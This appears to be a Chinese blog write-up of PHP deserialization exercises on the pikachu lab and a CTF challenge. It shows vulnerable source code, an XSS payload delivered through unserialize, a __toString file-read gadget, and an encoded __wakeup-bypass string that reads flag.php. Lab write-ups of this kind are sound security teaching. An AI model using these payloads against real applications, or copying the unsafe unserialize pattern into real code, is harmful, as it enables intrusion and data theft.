PHP反序列化之练习题

pikachu平台反序列化漏洞

第一题:反序列化漏洞输出XSS

地址:https://www.bihuoedu.com/vul/unserilization/unser.php

查看unser.php文件的源码: 

<?php
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}
?>

构建反序列化字符串:O:1:"S":1:{s:4:"test";s:29:"<script>alert('shy')</script>";}

提交构建反序列化字符串:

源码当中的第64行输出了成员变量的值,因此造成了xss漏洞。

反序列化的对象无法调用构造函数。 

第二题:反序列化文件读取

地址:https://www.bihuoedu.com/vul/unserilization/readfile.php

// 当他的对象被输出时候,调用__toString
class FileClass{
public $filename = 'error.log';
// 返回读取一个文件的内容
public function __toString(){
return file_get_contents($this->filename);
}
}
class User{
public $age = 0;
public $name = '';
public function __toString(){
return "User $this->name is $this->age years old";
}
}
$obj = unserialize($_GET['user_serialize']);
echo $obj;
// 序列号 把对象转换成字节流
// serialize($obj)
// 反序列号 把字节流转换成对象
// unserialize($obj)

读取readfile.php文件

第三题 CTF题1

<?php
class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }
  }  
    function __wakeup(){ 
    	$this-> file='index.php'; 
    } 
    public function __toString(){
    	return '' ;
    }
}     
    if (!isset($_GET['file'])){
     show_source('index.php');
      } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file );
        } 
?>   #<!--key in flag.php-->

源码分析:

  • 1,根据注释给的提示,key在flag.php文件当中。
  • 2,类SoFun中定义的析构函数可读取文件,文件名过滤了\\和/
  • 3,允许用户传入参数并进行反序列化
  • 4,反序化时会调用__wakeup()函数,给变量$file重新赋值index.php

解题思路:

绕过__wakeup()方法,在反序列化时不要调用__wakeup()方法。

关键点:

我们传入的序列化字符串中对象属性个数大于真实的对象属性个数的时候,就会跳过__wakeup()方法的执行。

直接访问:

根据提示直接访问flag.php,无法获取flag

根据之前源码分析结果,构建序列化字符串:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

将序列化之后的字符串在网页中进行提交,要先进行base64编码和url编码:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ%3d%3d

坑点:复现用的环境是PHP7 应该修复了这个绕过wakeup的方法,后门切换到PHP5的时候成功复现成功。

 

 

 

 

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值